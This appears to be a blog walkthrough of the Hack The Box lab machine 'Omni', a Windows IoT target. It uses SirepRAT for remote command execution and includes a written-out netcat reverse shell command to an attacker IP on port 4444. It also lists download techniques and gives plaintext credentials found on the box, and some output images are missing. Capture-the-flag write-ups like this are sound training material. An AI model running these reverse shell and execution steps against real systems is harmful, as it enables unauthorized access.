System Summary
Initial Scan
It looks a windows machine but with some additional
services.
Avoiding bruteforcing of WinRM services on port tcp/5985, we can open the URL http://10.10.10.204:8080 and we see a basic authentication form for “Windows Device Portal”
Initial Foothold
It requires python2 and some packages
After cloning the repo and verifying the code, we can run it to execute remote commands.
Below an example of displaying the hosts
file:
Next step is to get a shell by
downloading netcat to the box and running it.
We can try to download netcat via HTTP, but it doesn’t work as expected with the usual techniques
- Powershell download
- Bitsadmin.exe
- Certutil.exe
Now that we have successfully downloaded nc.exe, we can it for a reverse shell on port 4444:
python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd 'c\nc.exe' --args '-e cmd.exe 10.10.16.78 4444'
But it doesn’t work.
The problem is that the nc.exe provided in Kali is compiled for x86 while the box is x64 and it doesn’t execute 32 bit PE files.
So let's grab a nc64.exe version from from https://github.com/int0x33/nc.exe and repeat the procedure of upload and execute:
We’re now in the system as user
omni$ (low privilege) and we can do some enumeration.
We can search for user.txt and
root.txt
We can read both files (really!) but they're not in the usual format.
Let's look at user.txt
This is encrypted and we can try to decrypt it with powershell commands:
$credential = Import-CliXml -Path 'C:\data\users\app\user.txt'
User Flag
We have to find a way to user app.
Running the standard enumeration commands like get-childitem -hidden -recurse -Path c:\XYZ
we can find a r.bat file in c:\program files\WindowsPowershell\Modules\PackageManagement
It should not be there and it contains a couple of credentials:
- Username app with password mesh5143
- Username administrator with password _1nt3rn37ofTh1nGz
These users are not working for WinRM but give us access to the Windows Device Portal site:
We can login and use the section "Processes" to run a command.
In this case we can run the same nc64.exe we were able to execute with the exploit:
We receive a shell as user app.
With it we can access hardening.txt and display its content:
And this is the User flag
Root Flag
We can do the same thing as with user app:- Log into Device Portal as user administrator
- Run nc64.exe from the web form
- Receive the shell
- open the file root.txt, get the clear text flag using powershell commands seen above
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.